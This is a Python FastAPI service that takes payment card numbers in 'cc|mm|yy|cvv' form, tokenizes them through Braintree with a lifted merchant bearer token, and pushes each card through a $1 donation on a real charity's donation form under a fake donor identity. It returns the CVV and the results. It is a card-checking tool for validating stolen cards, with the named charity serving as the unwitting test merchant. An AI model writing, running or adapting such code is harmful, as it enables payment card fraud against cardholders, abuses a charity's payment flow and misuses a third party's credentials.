File size: 8,780 Bytes
af3ed1b |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 |
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import requests
import uuid
from faker import Faker
import re
app = FastAPI()
fake = Faker()
# API endpoints
BRAINTREE_API_URL = "https://payments.braintree-api.com/graphql"
DONATION_API_URL = "https://www.kiusa.org/?givewp-route=donate&givewp-route-signature=6e7056237cf4f9e3c054d7723aac17e0&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=1760437730"
# Headers for Braintree API (replace authorization token with a valid one for real use)
BRAINTREE_HEADERS = {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9,ru;q=0.8",
"authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE3NjAzODAyNjYsImp0aSI6ImQ4ZTU0YWVhLTBjYWYtNDgyNy1iYzdhLTBmZGVmYmNkNjU3OSIsInN1YiI6IjkzNW16dGRndmdqNjVnbWciLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6IjkzNW16dGRndmdqNjVnbWciLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0Ijp0cnVlLCJ2ZXJpZnlfd2FsbGV0X2J5X2RlZmF1bHQiOmZhbHNlfSwicmlnaHRzIjpbIm1hbmFnZV92YXVsdCJdLCJzY29wZSI6WyJCcmFpbnRyZWU6VmF1bHQiLCJCcmFpbnRyZWU6Q2xpZW50U0RLIl0sIm9wdGlvbnMiOnt9fQ.Upc3xPht1ZZ1mfwQlhwhasXVRdDY2Qe6He62WgJINTAQPpWH7xNGoejuSpEarooYhQI6Lo9frMq_05oxIJ9MNg", # Truncated for example
"braintree-version": "2018-05-10",
"content-type": "application/json",
"origin": "https://assets.braintreegateway.com",
"referer": "https://assets.braintreegateway.com/",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
}
# Headers for donation API
DONATION_HEADERS = {
"authority": "www.kiusa.org",
"accept": "application/json",
"accept-encoding": "gzip, deflate, br, zstd",
"accept-language": "en-US,en;q=0.9,ru;q=0.8",
"origin": "https://www.kiusa.org",
"referer": "https://www.kiusa.org/?givewp-route=donation-form-view&form-id=2992&locale=en_US",
"sec-ch-ua": '"Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Windows"',
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundary6NrWWrdqTSFaZ8Wq"
}
class CardInput(BaseModel):
card_details: str
def parse_card_input(card_input: str):
"""Parse user-provided card details in format cc|mm|yy|cvv."""
if not re.match(r"^\d+\|\d{1,2}\|\d{2}\|\d{3,4}$", card_input):
raise ValueError("Invalid format. Use cc|mm|yy|cvv (e.g., 4737034069082783|05|27|713)")
try:
number, month, year, cvv = card_input.split("|")
number = number.strip()
month = month.strip()
year = f"20{year.strip()}" # Convert 2-digit year to 4-digit
cvv = cvv.strip()
# Basic validation
if not (number.isdigit() and 12 <= len(number) <= 19):
raise ValueError("Invalid card number")
if not (month.isdigit() and 1 <= int(month) <= 12):
raise ValueError("Invalid expiration month")
if not (year.isdigit() and len(year) == 4):
raise ValueError("Invalid expiration year")
if not (cvv.isdigit() and len(cvv) in [3, 4]):
raise ValueError("Invalid CVV")
return {
"number": number,
"cardholderName": "", # Not provided in format, left empty
"expirationMonth": month.zfill(2), # Ensure 2 digits
"expirationYear": year,
"cvv": cvv,
"postalCode": fake.zipcode() # Generate random postal code
}
except ValueError as e:
raise ValueError(f"Error parsing card details: {str(e)}")
def create_graphql_payload(card_details):
"""Create GraphQL payload for tokenizing credit card."""
session_id = str(uuid.uuid4())
payload = {
"clientSdkMetadata": {
"source": "client",
"integration": "dropin2",
"sessionId": session_id
},
"query": """
mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) {
tokenizeCreditCard(input: $input) {
token
creditCard {
bin
brandCode
last4
cardholderName
expirationMonth
expirationYear
binData {
prepaid
healthcare
debit
durbinRegulated
commercial
payroll
issuingBank
countryOfIssuance
productId
}
}
}
}
""",
"variables": {
"input": {
"creditCard": {
"number": card_details["number"],
"expirationMonth": card_details["expirationMonth"],
"expirationYear": card_details["expirationYear"],
"cvv": card_details["cvv"],
"billingAddress": {
"postalCode": card_details["postalCode"]
}
},
"options": {
"validate": False
}
}
},
"operationName": "TokenizeCreditCard"
}
return payload
def check_card(card_details):
"""Send card details to Braintree API and return response."""
payload = create_graphql_payload(card_details)
try:
response = requests.post(BRAINTREE_API_URL, headers=BRAINTREE_HEADERS, json=payload)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
return {"error": f"Braintree request failed: {str(e)}"}
def create_donation_payload(token):
"""Create multipart/form-data payload for donation request."""
boundary = "----WebKitFormBoundary6NrWWrdqTSFaZ8Wq"
fields = [
("amount", "1"),
("currency", "USD"),
("donationType", "single"),
("formId", "2992"),
("gatewayId", "braintree"),
("firstName", "Rambo"),
("lastName", "Rami"),
("email", "niansuhai@proton.me"),
("donationBirthday", ""),
("originUrl", "https://www.kiusa.org/donations/donate-today/"),
("isEmbed", "true"),
("embedId", "2992"),
("locale", "en_US"),
("gatewayData[give-braintree-drop-in-nonce]", token)
]
body = ""
for name, value in fields:
body += f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n"
body += f"--{boundary}--\r\n"
return body.encode("utf-8")
def send_donation_request(token):
"""Send donation request to kiusa.org with the tokenized card."""
payload = create_donation_payload(token)
try:
response = requests.post(DONATION_API_URL, headers=DONATION_HEADERS, data=payload)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
return {"error": f"Donation request failed: {str(e)}"}
@app.post("/braintree-chk")
async def check_card_endpoint(card_input: CardInput):
"""Endpoint to check credit card details and process donation."""
try:
card_details = parse_card_input(card_input.card_details)
braintree_response = check_card(card_details)
token = None
if braintree_response.get("data", {}).get("tokenizeCreditCard"):
token = braintree_response["data"]["tokenizeCreditCard"]["token"]
donation_response = {"error": "No token generated"} if not token else send_donation_request(token)
result = {
"card_details": {
"last4": card_details["number"][-4:],
"expiration": f"{card_details['expirationMonth']}/{card_details['expirationYear']}",
"cvv": card_details["cvv"],
"postalCode": card_details["postalCode"]
},
"braintree_response": braintree_response,
"donation_response": donation_response
}
return result
except ValueError as e:
raise HTTPException(status_code=400, detail=str(e))
except Exception as e:
raise HTTPException(status_code=500, detail=f"Server error: {str(e)}")
|